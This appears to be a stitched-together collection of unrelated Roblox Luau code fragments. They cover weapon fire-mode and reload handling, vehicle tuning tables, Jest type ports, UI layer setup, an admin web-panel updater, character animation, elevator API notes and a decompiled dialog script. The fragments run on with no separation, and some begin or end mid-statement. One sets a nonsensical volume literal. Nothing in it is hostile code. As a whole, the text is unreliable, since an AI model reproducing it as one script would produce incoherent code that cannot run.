L_23_.AutoEnabled and L_23_.BurstEnabled then L_69_ = 3 L_60_ = false L_51_ = L_61_ elseif not L_23_.SemiEnabled and not L_23_.AutoEnabled and not L_23_.BurstEnabled then L_69_ = 4 L_60_ = false L_51_ = L_61_ end elseif L_69_ == 6 then if Shooting then Shooting = false end L_62_ = L_51_ if L_23_.SemiEnabled then L_69_ = 1 L_60_ = false L_51_ = L_61_ elseif not L_23_.SemiEnabled and L_23_.AutoEnabled then L_69_ = 2 L_60_ = false L_51_ = L_61_ elseif not L_23_.SemiEnabled and not L_23_.AutoEnabled and L_23_.BurstEnabled then L_69_ = 3 L_60_ = false L_51_ = L_61_ elseif not L_23_.SemiEnabled and not L_23_.AutoEnabled and not L_23_.BurstEnabled and L_23_.BoltAction then L_69_ = 4 L_60_ = false L_51_ = L_61_ elseif not L_23_.SemiEnabled and not L_23_.AutoEnabled and not L_23_.BurstEnabled and not L_23_.BoltAction then L_69_ = 6 L_60_ = true L_61_ = L_51_ L_51_ = L_62_ end end FireModeAnim() IdleAnim() L_52_ = false end; if L_264_arg1.KeyCode == Enum.KeyCode.F and not L_59_ and not L_49_ and not L_52_ and not L_46_ and not L_48_ and not Shooting and not L_58_ then if not L_55_ and not L_56_ then L_56_ = true Shooting = false L_51_ = false L_107_ = time() delay(0.6, function() if L_78_ ~= L_23_.Ammo and L_78_ > 0 then CreateShell() end end) BoltBackAnim() L_55_ = true elseif L_55_ and L_56_ then BoltForwardAnim() Shooting = false L_51_ = true if L_78_ ~= L_23_.Ammo and L_78_ > 0 then L_78_ = L_78_ - 1 elseif L_78_ >= L_23_.Ammo then L_51_ = true end L_55_ = false L_56_ = false IdleAnim() L_57_ = false end end; if L_264_arg1.KeyCode == Enum.KeyCode.LeftShift and not L_59_ and L_118_ then L_53_ = true if L_15_ and not L_52_ and not L_49_ and L_53_ and not L_47_ and not L_56_ then Shooting = false L_46_ = false L_49_ = true delay(0, function() if L_49_ and not L_48_ then L_46_ = false L_54_ = true end end) L_74_ = 80 L_3_.Humanoid.WalkSpeed = 21 L_127_ = 21 L_126_ = 0.4 end end; if L_264_arg1.KeyCode == Enum.KeyCode.R and not L_59_ and L_15_ and not L_48_ and not L_46_ and not Shooting and not L_49_ and not L_56_ then if not L_60_ then if L_79_ > 0 and L_78_ < L_23_.Ammo then Shooting = false L_48_ = true ReloadAnim() if L_78_ <= 0 then if not L_23_.CanSlideLock then BoltBackAnim() end BoltForwardAnim() end IdleAnim() L_51_ = true if L_78_ <= 0 then if (L_79_ - (L_23_.Ammo - L_78_)) < 0 then L_78_ = L_78_ + L_79_ L_79_ = 0 else L_79_ = L_79_ - (L_23_.Ammo - L_78_) L_78_ = L_23_.Ammo end elseif L_78_ > 0 then if (L_79_ - (L_23_.Ammo - L_78_)) < 0 then L_78_ = L_78_ + L_79_ + 1 L_79_ = 0 else L_79_ = L_79_ - (L_23_.Ammo - L_78_) L_78_ = L_23_.Ammo + 1 end end L_48_ = false if not L_57_ then L_51_ = true end end; elseif L_60_ then if L_80_ > 0 then Shooting = false L_48_ = true nadeReload() IdleAnim() L_48_ = false L_51_ = true end end; end; if L_264_arg1.KeyCode == Enum.KeyCode.RightBracket and L_46_ then if (L_36_ < 1) then L_36_ = L_36_ + L_23_.SensitivityIncrement end end if L_264_arg1.KeyCode == Enum.KeyCode.LeftBracket and L_46_ then if (L_36_ > 0.1) then L_36_ = L_36_ - L_23_.SensitivityIncrement end end if L_264_arg1.KeyCode == Enum.KeyCode.E and L_15_ then local L_269_ = L_27_:WaitForChild('GameGui') if not L_16_ then L_269_:WaitForChild('AmmoFrame').Visible = true L_269_.AmmoFrame.Count.Text = math.ceil(L_79_ / L_23_.StoredAmmo) .. ' Mags' if L_69_ == 1 then L_269_.AmmoFrame.FMode.Text = 'Semi' elseif L_69_ == 2 then L_269_.AmmoFrame.FMode.Text = 'Auto' elseif L_69_ == 3 then L_269_.AmmoFrame.FMode.Text = 'Burst' elseif L_69_ == 4 then L_269_.AmmoFrame.FMode.Text = 'Bolt' elseif L_69_ == 5 then L_269_.AmmoFrame.FMode.Text = 'Shot' elseif L_69_ == 6 then L_269_.AmmoFrame.FMode.Text = 'Explosive' end L_16_ = true end end; if L_264_arg1.KeyCode == Enum.KeyCode.T and L_1_:FindFirstChild("AimPart2") then if not L_63_ then L_38_ = L_1_:WaitForChild("AimPart2") L_35_ = L_23_.CycleAimZoom if L_46_ then L_74_ = L_23_.CycleAimZoom end L_63_ = true else L_38_ = L_1_:FindFirstChild("AimPart") L_35_ = L_23_.AimZoom if L_46_ then L_74_ = L_23_.AimZoom end L_63_ = false end; end; if L_264_arg1.KeyCode == L_23_.InspectionKey then if not L_59_ then L_59_ = true InspectAnim() IdleAnim() L_59_ = false end end; end end) L_82_.InputEnded:connect(function(L_270_arg1, L_271_arg2) if not L_271_arg2 and L_15_ then if L_270_arg1.UserInputType == Enum.UserInputType.MouseButton2 and not L_59_ and L_23_.CanAim then if L_46_ then if not L_47_ then L_3_.Humanoid.WalkSpeed = 16 L_127_ = 17 L_126_ = .25 end L_74_ = 70 L_105_.target = Vector3.new() L_90_:FireServer(false) L_46_ = false end end; if L_270_arg1.KeyCode == L_23_.AlternateAimKey and not L_59_ and L_23_.CanAim then if L_46_ then if not L_47_ then L_3_.Humanoid.WalkSpeed = 16 L_127_ = 17 L_126_ = .25 end L_74_ = 70 L_105_.target = Vector3.new() L_90_:FireServer(false) L_46_ = false end end; if L_270_arg1.UserInputType == Enum.UserInputType.MouseButton1 and not L_59_ then L_50_ = false if Shooting then Shooting = false end end; if L_270_arg1.KeyCode == Enum.KeyCode.E and L_15_ then local L_272_ = L_27_:WaitForChild('GameGui') if L_16_ then L_272_:WaitForChild('AmmoFrame').Visible = false L_16_ = false end end; if L_270_arg1.KeyCode == Enum.KeyCode.LeftShift and not L_59_ and not L_52_ and not L_47_ then -- SPRINT L_53_ = false if L_49_ and not L_46_ and not Shooting and not L_53_ then L_49_ = false L_54_ = false L_74_ = 70 L_3_.Humanoid.WalkSpeed = 16 L_127_ = 17 L_126_ = .25 end end; end end) L_82_.InputChanged:connect(function(L_273_arg1, L_274_arg2) if not L_274_arg2 and L_15_ and L_23_.FirstPersonOnly and L_46_ then if L_273_arg1.UserInputType == Enum.UserInputType.MouseWheel then if L_273_arg1.Position.Z == 1 and (L_36_ < 1) then L_36_ = L_36_ + L_23_.SensitivityIncrement elseif L_273_arg1.Position.Z == -1 and (L_36_ > 0.1) then L_36_ = L_36_ - L_23_.SensitivityIncrement end end end end)
--[[Handlebars]]
-- Tune.SteerAngle = 20 -- Handlebar angle at max lock (in degrees) Tune.MSteerExp = 1 -- Mouse steering exponential degree Tune.LowSpeedCut = 60 -- Low speed steering cutoff, tune according to your full lock, a bike with a great handlebar lock angle will need a lower value (E.G. If your full lock is 20 your cutoff will be 40/50, or if your full lock is 40 your cutoff will be 20/30) Tune.SteerD = 50 -- Dampening of the Low speed steering Tune.SteerMaxTorque = 4000 -- Force of the the Low speed steering Tune.SteerP = 500 -- Aggressiveness of the the Low speed steering
-------------------------
mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "t" then --Camera controls if cam == ("car") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Custom") cam = ("freeplr") Camera.FieldOfView = 70 limitButton.Text = "Free Camera" wait(3) limitButton.Text = "" elseif cam == ("freeplr") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Attach") cam = ("lockplr") Camera.FieldOfView = 45 limitButton.Text = "FPV Camera" wait(3) limitButton.Text = "" elseif cam == ("lockplr") then Camera.CameraSubject = carSeat Camera.CameraType = ("Custom") cam = ("car") Camera.FieldOfView = 70 limitButton.Text = "Standard Camera" wait(3) limitButton.Text = "" end end end)
-- ROBLOX deviation: inline Promise type here. should probably go into LuauPolyfill
export type PromiseLike<T> = { andThen: ( ((T) -> T)? | (PromiseLike<T>)?, -- resolve ((any) -> () | PromiseLike<T>)? -- reject ) -> PromiseLike<T>, } export type Promise<T> = { andThen: (( ((T) -> T | PromiseLike<T>)?, -- resolve ((any) -> () | PromiseLike<nil>)? -- reject ) -> Promise<T>)?, catch: ((((any) -> () | PromiseLike<nil>)) -> Promise<T>)?, onCancel: ((() -> ()?) -> boolean)?, } export type SyncExpectationResult = { pass: boolean, message: () -> string, } export type AsyncExpectationResult = Promise<SyncExpectationResult> export type ExpectationResult = SyncExpectationResult | AsyncExpectationResult
--// Functions
function spawnTag(L_15_arg1, L_16_arg2) if L_15_arg1 and L_15_arg1:FindFirstChild('Head') ~= nil and L_9_.TeamTags then if L_15_arg1:FindFirstChild('Head'):FindFirstChild('TeamTag') and L_15_arg1:FindFirstChild('Head') ~= nil then L_15_arg1:FindFirstChild('Head').TeamTag:Destroy() end local L_17_ = L_7_:WaitForChild('TeamTag'):clone() L_17_.Parent = L_15_arg1:FindFirstChild('Head') L_17_.Enabled = true L_17_.Adornee = L_15_arg1:FindFirstChild('Head') L_17_.Frame:WaitForChild('Frame').ImageColor3 = L_16_arg2 end end
--------------------------------------------------------------------------------------------------------------
local player = game.Players.LocalPlayer -- Targets the player local char = player.Character or player.CharacterAdded:Wait() -- Finds player's character local hrp = char:WaitForChild("HumanoidRootPart") -- Finds character's humanoid root part local cam = game.Workspace.CurrentCamera local bar = script.Parent.Border.Bar local runSound = hrp:WaitForChild("Running") -- Finds the running sound of the player local TS = game:GetService("TweenService") local TI = TweenInfo.new(1, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
--[[ Creates UI layers and connects them to zones. --]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local GuiService = game:GetService("GuiService") local RunService = game:GetService("RunService") local Sift = require(ReplicatedStorage.Dependencies.Sift) local GamepadMouseDisabler = require(script.Parent.GamepadMouseDisabler) local UIZoneHandler = require(script.Parent.UIZoneHandler) local UISeedMarket = require(script.Parent.UILayers.UISeedMarket) local UIPlantSeed = require(script.Parent.UILayers.UIPlantSeed) local UIPlacePot = require(script.Parent.UILayers.UIPlacePot) local UIGardenStore = require(script.Parent.UILayers.UIGardenStore) local UIBuyCoins = require(script.Parent.UILayers.UIBuyCoins) local UIDataErrorNotice = require(script.Parent.UILayers.UIDataErrorNotice) local UICoinIndicator = require(script.Parent.UILayers.UICoinIndicator) local UIInventory = require(script.Parent.UILayers.UIInventory) local UIInventoryButton = require(script.Parent.UILayers.UIInventoryButton) local UIResetDataButton = require(script.Parent.UILayers.UIResetDataButton) local UILayerIdByZoneId = require(ReplicatedStorage.Source.SharedConstants.UILayerIdByZoneId) local UILayerId = require(ReplicatedStorage.Source.SharedConstants.UILayerId) local ZoneIdTag = require(ReplicatedStorage.Source.SharedConstants.CollectionServiceTag.ZoneIdTag) local ViewingMenuEffect = require(ReplicatedStorage.Source.ViewingMenuEffect) local getInstance = require(ReplicatedStorage.Source.Utility.getInstance) local localPlayer = Players.LocalPlayer :: Player local playerGui: PlayerGui = getInstance(localPlayer, "PlayerGui") local ZoneIdByUILayerId = Sift.Dictionary.flip(UILayerIdByZoneId) :: { [UILayerId.EnumType]: ZoneIdTag.EnumType } local UISetup = {} type UILayer = { setup: (Instance) -> (), getLayerId: () -> UILayerId.EnumType, } local uiLayerSingletons: { UILayer } = { UISeedMarket, UIGardenStore, UIPlantSeed, -- TODO: Show size of pot you're attempting to plant in on UI? UIPlacePot, -- TODO: Show spot number of pot you're placing on UI? UIBuyCoins, UIDataErrorNotice, UICoinIndicator, UIInventory, UIInventoryButton, } function UISetup.start() -- Prevents the mouse cursor from getting in the way while navigating with a gamepad GamepadMouseDisabler.start() -- Disables the "Selection mode" toggle button functionality of gamepads because we manually -- set the SelectedObject for more customized behavior GuiService.AutoSelectGuiEnabled = false -- UI layer singletons setup for _, uiLayerSingleton in ipairs(uiLayerSingletons) do UISetup._setupLayerSingleton(uiLayerSingleton) end -- Studio-only feature allowing a developer to easily reset their data for testing purposes if RunService:IsStudio() then UISetup._setupLayerSingleton(UIResetDataButton) end -- To remove Roblox's default blue selection image frame, we need to replace it with a transparent -- replacement local transparentFrame = Instance.new("Frame") transparentFrame.BackgroundTransparency = 1 playerGui.SelectionImageObject = transparentFrame ViewingMenuEffect.start() end function UISetup._setupLayerSingleton(uiLayerSingleton: UILayer) uiLayerSingleton.setup(playerGui) local uiLayerId: UILayerId.EnumType = uiLayerSingleton.getLayerId() local zoneId: ZoneIdTag.EnumType = ZoneIdByUILayerId[uiLayerId] if zoneId then UIZoneHandler.connectUiToZone(uiLayerId, zoneId) end end return UISetup
-- spawn a random ore
local oreName = oreBank[math.random(1,#oreBank)]
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 3.40 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 2.65 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 2.65 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 1.80 , --[[ 3 ]] 1.25 , --[[ 4 ]] 1.00 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--// This module is only used to generate and update a list of non-custom commands for the webpanel and will not operate under normal circumstances
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local server = Vargs.Server; local service = Vargs.Service; local Settings = server.Settings local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps = server.Functions, server.Commands, server.Admin, server.Anti, server.Core, server.HTTP, server.Logs, server.Remote, server.Process, server.Variables, server.Deps --if true then return end --// fully disabled service.TrackTask("Thread: WEBPANEL_JSON_UPDATE", function() wait(1) local enabled = rawget(_G,"ADONISWEB_CMD_JSON_DOUPDATE"); local secret = rawget(_G,"ADONISWEB_CMD_JSON_SECRET"); local endpoint = rawget(_G,"ADONISWEB_CMD_JSON_ENDPOINT"); if not enabled or not secret or not endpoint then return end print("WEB ENABLED DO UPDATE"); if Core.DebugMode and enabled then print("DEBUG DO LAUNCH ENABLED"); wait(5) local list = {}; local HTTP = service.HttpService; local Encode = Functions.Base64Encode local Decode = Functions.Base64Decode for i,cmd in next,Commands do table.insert(list, { Index = i; Prefix = cmd.Prefix; Commands = cmd.Commands; Arguments = cmd.Args; AdminLevel = cmd.AdminLevel; Hidden = cmd.Hidden or false; NoFilter = cmd.NoFilter or false; }) end --warn("COMMANDS LIST JSON: "); --print("\n\n".. HTTP:JSONEncode(list) .."\n\n"); --print("ENCODED") --// LAUNCH IT print("LAUNCHING") local success, res = pcall(HTTP.RequestAsync, HTTP, { Url = endpoint; Method = "POST"; Headers = { ["Content-Type"] = "application/json", ["Secret"] = secret }; Body = HTTP:JSONEncode({ ["data"] = Encode(HTTP:JSONEncode(list)) }) }); print("LAUNCHED TO WEBPANEL") print("RESPONSE BELOW") print("SUCCESS: ".. tostring(success).. "\n".. "RESPONSE:\n"..(res and HTTP.JSONEncode(res)) or res) end end) end
-- @InterpolateDescription Library for interpolation functions
local Interpolate = {} Interpolate.Replicated = true
--// Math
local L_135_ = function(L_172_arg1, L_173_arg2, L_174_arg3) if L_172_arg1 > L_174_arg3 then return L_174_arg3 elseif L_172_arg1 < L_173_arg2 then return L_173_arg2 end return L_172_arg1 end local L_136_ = L_124_.new(Vector3.new()) L_136_.s = 30 L_136_.d = 0.55 local L_137_ = CFrame.Angles(0, 0, 0)
--[[wait(20) print("am i looping?") for i=0,10 do wait(.1) pellet.Transparency = i / 10 end healsound.PlayOnRemove = false wait(.5) pellet.Parent = nil ]]
--local Screen = carSeat.Parent.AudioPlayerScreen.SurfaceGui <-- soon
local Song = script.Parent.AudioPlayerGui.Song local Audio = carSeat.Audio vol = 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999.9 function changeSong() local effect = carSeat.Audio.EqualizerSoundEffect if effect.HighGain == 5 then effect.HighGain = -80 effect.MidGain = -25 onOff.Text = "IN" else effect.HighGain = 5 effect.MidGain = 7 onOff.Text = "OUT" end end function playSong() local id = player.PlayerGui.AudioPlayer.AudioPlayerGui.TextBox.Text Audio:Stop() Audio.SoundId = "http://www.roblox.com/asset/?id="..id Audio:Play() --Screen.Song.Text = game:GetService("MarketplaceService"):GetProductInfo(id).Name Song.Text = game:GetService("MarketplaceService"):GetProductInfo(id).Name --Screen.ID.Text = id end function stopSong() Audio:Stop() end function volUp() if vol + 0.1 <= 5 then vol = vol + 0.1 Audio.Volume = vol player.PlayerGui.AudioPlayer.AudioPlayerGui.Vol.Text = tostring(vol*100) .. "%" --Screen.Vol.Text = tostring(vol*100) .. "%" end end function volDown() if vol - 0.1 >= 0 then vol = vol - 0.1 Audio.Volume = vol player.PlayerGui.AudioPlayer.AudioPlayerGui.Vol.Text = tostring(vol*100) .. "%" --Screen.Vol.Text = tostring(vol*100) .. "%" end end ChangeButton.MouseButton1Click:connect(function() changeSong() end) VolUpButton.MouseButton1Click:connect(function() volUp() end) VolDownButton.MouseButton1Click:connect(function() volDown() end) PlayButton.MouseButton1Click:connect(function() playSong() end) PauseButton.MouseButton1Click:connect(function() stopSong() end)
--// Remote
local remoteFold = rp.remoteFold local module = {} module.Cam = function(Part, Data) if Players:GetPlayerFromCharacter(Part) then local plr = Players:GetPlayerFromCharacter(Part) remoteFold['Client']:FireClient(plr,Data) end end return module
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onSwimming(speed) if speed > 1.00 then local scale = 10.0 playAnimation("swim", 0.4, Humanoid) setAnimationSpeed(speed / scale) pose = "Swimming" else playAnimation("swimidle", 0.4, Humanoid) pose = "Standing" end end function animateTool() if toolAnim == "None" then playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle) return end if toolAnim == "Slash" then playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action) return end if toolAnim == "Lunge" then playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action) return end end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end local lastTick = 0 function stepAnimate(currentTime) local amplitude = 1 local frequency = 1 local deltaTime = currentTime - lastTick lastTick = currentTime local climbFudge = 0 local setAngles = false if jumpAnimTime > 0 then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif pose == "Seated" then playAnimation("sit", 0.5, Humanoid) return elseif pose == "Running" then playAnimation("walk", 0.2, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then stopAllAnimations() amplitude = 0.1 frequency = 1 setAngles = true end -- Tool Animation handling local tool = Character:FindFirstChildOfClass("Tool") if tool and tool:FindFirstChild("Handle") then local animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = currentTime + .3 end if currentTime > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimInstance = nil toolAnimTime = 0 end end
-- ROBLOX upstream: https://github.com/facebook/jest/blob/v27.4.7/packages/jest-snapshot/src/utils.ts -- /** -- * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. -- * -- * This source code is licensed under the MIT license found in the -- * LICENSE file in the root directory of this source tree. -- */
--[[ API === To run the API, use: ``` API:Fire(<function>, {<arguments>}) ``` Call ---- The Call function sends the elevator to a floor. It takes 3 arguments. - ` number floor` - The desired floor that the elevator should go to. - ` string direction` - The call direction. This can be "N" for no direction, "U" for up, or "D" for down. - ` boolean showInEle` - Determines whether the call button in the elevator should light up. Example: ``` API:Fire("Call", {2, "D", false}) ``` ClearQueue ---------- The ClearQueue function clears the call queue and unlights all the call buttons. It takes 0 arguments. Example: ``` API:Fire("ClearQueue") ``` Stop ---- The Stop function will stop the elevator if it is in motion and also clears the call queue. It takes 0 arguments. Example: ``` API:Fire("Stop") ``` DoorOpen -------- The DoorOpen function force opens the doors if the elevator is not in motion. It takes 0 arguments. Example: ``` API:Fire("DoorOpen") ``` DoorClose --------- The DoorClose function force closes the doors if they are open. It takes 0 arguments. Example: ``` API:Fire("DoorClose") ``` DoorHold -------- The DoorHold function keeps the doors open until it's disabled. It takes 1 argument. - ` boolean enabled` - Determines whether the doors should be held open. Example: ``` API:Fire("DoorHold", {true}) ``` Lock ---- The Lock function locks select calls and makes them inaccessible until unlocked. It takes 3 arguments. - ` boolean locked` - Setting to true locks, setting to false unlocks. - ` number floor` - The floor to lock calls for. - ` string direction` - The call direction to lock. "U" and "D" locks the respective hall buttons, and "N" locks the car buttons. Example: ``` API:Fire("Lock", {true, 3, "N"}) --- more will come soon™ ]]
script:Destroy() -- the
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58},t}, [49]={{47,48,49},t}, [16]={n,f}, [19]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19},t}, [59]={{47,48,49,45,44,28,29,31,32,34,35,39,41,59},t}, [63]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23,62,63},t}, [34]={{47,48,49,45,44,28,29,31,32,34},t}, [21]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,21},t}, [48]={{47,48},t}, [27]={{47,48,49,45,44,28,27},t}, [14]={n,f}, [31]={{47,48,49,45,44,28,29,31},t}, [56]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56},t}, [29]={{47,48,49,45,44,28,29},t}, [13]={n,f}, [47]={{47},t}, [12]={n,f}, [45]={{47,48,49,45},t}, [57]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,57},t}, [36]={{47,48,49,45,44,28,29,31,32,33,36},t}, [25]={{47,48,49,45,44,28,27,26,25},t}, [71]={{47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71},t}, [20]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20},t}, [60]={{47,48,49,45,44,28,29,31,32,34,35,39,41,60},t}, [8]={n,f}, [4]={n,f}, [75]={{47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73,75},t}, [22]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,21,22},t}, [74]={{47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73,74},t}, [62]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{47,48,49,45,44,28,29,31,32,33,36,37},t}, [2]={n,f}, [35]={{47,48,49,45,44,28,29,31,32,34,35},t}, [53]={{47,52,53},t}, [73]={{47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73},t}, [72]={{47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72},t}, [33]={{47,48,49,45,44,28,29,31,32,33},t}, [69]={{47,48,49,45,44,28,29,31,32,34,35,39,41,60,69},t}, [65]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,65},t}, [26]={{47,48,49,45,44,28,27,26},t}, [68]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67,68},t}, [76]={{47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76},t}, [50]={{47,50},t}, [66]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66},t}, [10]={n,f}, [24]={{47,48,49,45,44,28,27,26,25,24},t}, [23]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23},t}, [44]={{47,48,49,45,44},t}, [39]={{47,48,49,45,44,28,29,31,32,34,35,39},t}, [32]={{47,48,49,45,44,28,29,31,32},t}, [3]={n,f}, [30]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30},t}, [51]={{47,50,51},t}, [18]={n,f}, [67]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67},t}, [61]={{47,48,49,45,44,28,29,31,32,34,35,39,41,59,61},t}, [55]={{47,52,53,54,55},t}, [46]={{47,46},t}, [42]={{47,48,49,45,44,28,29,31,32,34,35,38,42},t}, [40]={{47,48,49,45,44,28,29,31,32,34,35,40},t}, [52]={{47,52},t}, [54]={{47,52,53,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{47,48,49,45,44,28,29,31,32,34,35,39,41},t}, [17]={n,f}, [38]={{47,48,49,45,44,28,29,31,32,34,35,38},t}, [28]={{47,48,49,45,44,28},t}, [5]={n,f}, [64]={{47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64},t}, } return r
-- ================================================================================ -- VARIABLES -- ================================================================================
local PI_HALF = math.pi * 0.5 local ATAN2 = math.atan2 local MAX_DEVICE_ROTATION = math.rad(60) local UserInputService = game:GetService("UserInputService") local initialGravity = Vector3.new() local acceleromaterEnabled = UserInputService.AccelerometerEnabled
-- Decompiled with the Synapse X Luau decompiler.
script.Parent.MouseButton1Down:Connect(function() script.Parent.Parent.Visible = false; for v1 = 1, #"..." do script.Parent.Parent.Parent.DialogText.TextLabel.Text = string.sub("...", 1, v1); wait(); end; script.Parent.Parent.Parent.Dialog3.Visible = true; end);
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return plrData.Classes.Base.SlumDweller.Obtained.Value == true and plrData.Classes.Super.Viper.Obtained.Value ~= true end
------------------------------------------------
local screenGuis = {} local freeCamEnabled = false local letterBoxEnabled = true local stateRot = Vector2.new() local panDeltaGamepad = Vector2.new() local panDeltaMouse = Vector2.new() local velSpring = Spring.new(7/9, 1/3, 1, Vector3.new()) local rotSpring = Spring.new(7/9, 1/3, 1, Vector2.new()) local fovSpring = Spring.new(2, 1/3, 1, 0) local letterbox = CreateLetterBox() local gp_x = 0 local gp_z = 0 local gp_l1 = 0 local gp_r1 = 0 local rate_fov = 0 local SpeedModifier = 1
--Messages
local DeathMessages = {"died.", "was killed.", "had a bad time.", "didn't have a chance."} --you can add more if you like :D
--//Controller//--
while task.wait(0.1) do local SizeOffset = CurrentSong.PlaybackLoudness * (math.random(0, 10) / 1000) - 0.05 if SizeOffset > 0.5 then SizeOffset = 0.5 end TweenService:Create( Boombox, TweenInfo.new( 0.25, Enum.EasingStyle.Cubic, Enum.EasingDirection.InOut, 0, true ), { Size = Vector3.new(2 + SizeOffset, 1.25 + SizeOffset, 0.5 + SizeOffset) } ):Play() end
--!nonstrict --[[ ClassicCamera - Classic Roblox camera control module 2018 Camera Update - AllYourBlox 2022 Smooth Mouse Lock Update - wj1z Note: This module also handles camera control types Follow and Track, the latter of which is currently not distinguished from Classic --]]
-- ROBLOX deviation: not is a reserved keyword in Lua, we use never instead
Expect.never = { arrayContaining = arrayNotContaining, objectContaining = objectNotContaining, stringContaining = stringNotContaining, stringMatching = stringNotMatching, } Expect.objectContaining = objectContaining Expect.arrayContaining = arrayContaining Expect.stringContaining = stringContaining Expect.stringMatching = stringMatching
-- Enable tool or plugin
if Mode == 'Plugin' then -- Set the UI root UIContainer = CoreGui; -- Create the toolbar button PluginButton = Plugin:CreateToolbar('Building Tools by F3X'):CreateButton( 'Building Tools by F3X', 'Building Tools by F3X', Assets.PluginIcon ); -- Connect the button to the system PluginButton.Click:connect(function () PluginEnabled = not PluginEnabled; PluginButton:SetActive(PluginEnabled); -- Toggle the tool if PluginEnabled then Plugin:Activate(true); Enable(Plugin:GetMouse()); else Disable(); end; end); -- Disable the tool upon plugin deactivation Plugin.Deactivation:connect(Disable); -- Sync Studio selection to internal selection Selection.Changed:connect(function () SelectionService:Set(Selection.Items); end); -- Sync internal selection to Studio selection on enabling Enabling:connect(function () Selection.Replace(SelectionService:Get()); end); -- Roughly sync Studio history to internal history (API lacking necessary functionality) History.Changed:connect(function () ChangeHistoryService:SetWaypoint 'Building Tools by F3X'; end); elseif Mode == 'Tool' then -- Set the UI root UIContainer = Player:WaitForChild 'PlayerGui'; -- Connect the tool to the system Tool.Equipped:connect(Enable); Tool.Unequipped:connect(Disable); -- Disable the tool if not parented if not Tool.Parent then Disable(); end; -- Disable the tool automatically if not equipped or in backpack Tool.AncestryChanged:connect(function (Item, Parent) if not Parent or not (Parent:IsA 'Backpack' or (Parent:IsA 'Model' and Players:GetPlayerFromCharacter(Parent))) then Disable(); end; end); end;
-- New ProfileStore:
